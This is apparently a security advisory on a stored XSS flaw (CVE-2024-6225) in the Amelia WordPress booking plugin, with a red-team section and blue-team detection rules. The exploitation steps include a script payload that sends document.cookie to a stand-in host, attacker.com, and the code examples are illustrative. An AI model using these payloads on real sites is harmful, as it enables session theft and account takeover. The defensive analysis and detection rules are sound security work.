CVE-2024-6225

Executive Summary

CVE-2024-6225 is a Stored Cross-Site Scripting (XSS) vulnerability in the Amelia WordPress plugin (Booking for Appointments and Events Calendar). The flaw exists in all versions up to and including 1.1.5 (Free) and 7.5.1 (Pro). It allows authenticated attackers with administrator-level permissions to inject arbitrary web scripts via admin settings. The vulnerability is only exploitable on multi-site WordPress installations or where the unfiltered_html capability has been disabled. The CVSS score is 4.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and commercial channels. Since no patch is available, users must rely on manual mitigation or plugin removal. The lack of vendor response increases supply chain risk for organizations using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator
• User Interaction: Required (UI:R) – Victim must access injected page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires admin privileges and user interaction, limiting impact. However, on multi-site installations, a compromised admin can affect all subsites.

Deep Dive & Mechanics

The vulnerability resides in the admin settings panel of the Amelia plugin. The plugin fails to properly sanitize user input and escape output when saving configuration options. An attacker with administrator-level access can inject malicious JavaScript into fields such as custom CSS, custom JavaScript, or other text-based settings. When an administrator or other user views the affected admin page, the injected script executes in their browser context.

Root Cause: Insufficient input sanitization and output escaping in the plugin's admin settings handler. The plugin does not apply wp_kses() or similar WordPress sanitization functions to user-supplied data before storing it in the database. Additionally, when rendering the settings page, the plugin outputs the stored data without escaping via esc_html() or esc_attr().

Attack Flow:

1. Attacker gains admin access to a WordPress multi-site installation (or a site with unfiltered_html disabled).
2. Attacker navigates to Amelia plugin settings.
3. Attacker injects malicious JavaScript into a vulnerable field (e.g., custom CSS).
4. The script is stored in the WordPress database.
5. When another admin or user visits the settings page, the script executes.
6. The script can steal session cookies, perform actions on behalf of the victim, or deface the admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (Amelia <= 1.1.5 / 7.5.1):

// In admin settings page
function render_settings() {
    $custom_css = get_option('amelia_custom_css');
    echo '<textarea name="amelia_custom_css">' . $custom_css . '</textarea>';
}

The $custom_css value is output directly without escaping, allowing XSS.

Patched Code (Hypothetical):

function render_settings() {
    $custom_css = get_option('amelia_custom_css');
    echo '<textarea name="amelia_custom_css">' . esc_textarea($custom_css) . '</textarea>';
}

The esc_textarea() function escapes the output, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress multi-site installation with Amelia plugin (Free <= 1.1.5 or Pro <= 7.5.1)
• Administrator account on the network
• unfiltered_html capability disabled for admins (default on multi-site)

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to wp-admin/admin.php?page=amelia-settings.
3. Locate the "Custom CSS" or "Custom JS" field.
4. Inject the following payload:

   <script>alert('XSS');</script>
   

5. Save the settings.
6. Any user visiting the settings page will see the alert.

Advanced Payload (Session Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual admin settings changes in audit logs.
• Look for JavaScript payloads in plugin options table (wp_options).
• Use WAF rules to block common XSS patterns in admin POST requests.

Honeypot:

• Create a fake admin user with low privileges and monitor for settings changes.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/ameliabooking/ (plugin directory)
• Database: wp_options table entries containing amelia_ prefixed options with JavaScript code
• Network: Outbound HTTP requests to attacker-controlled domains from admin pages
• Logs: WordPress debug log entries showing unexpected script execution

Detection Engineering

YARA Rule

rule CVE_2024_6225_Amelia_XSS {
    meta:
        description = "Detects stored XSS payloads in Amelia plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6225"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $amelia_option = /amelia_/
    condition:
        $amelia_option and $xss_payload
}

Sigma Rule

title: CVE-2024-6225 Amelia Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Amelia plugin settings
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000
        ObjectName|contains: 'amelia_'
        ObjectValue|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in custom fields
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6225 Amelia Stored XSS - Outbound Cookie Steal"; flow:to_server,established; content:"amelia"; http_uri; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*?document\.cookie.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin on all WordPress installations until a patch is available.
2. Remove admin access from untrusted users on multi-site networks.
3. Enable unfiltered_html for trusted administrators (if not multi-site) to reduce risk.

Long-term:

• Monitor the Amelia plugin repository for updates.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Conduct regular security audits of WordPress plugins.
• Consider replacing the plugin with an alternative that has active security support.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads in admin settings.

Valters IT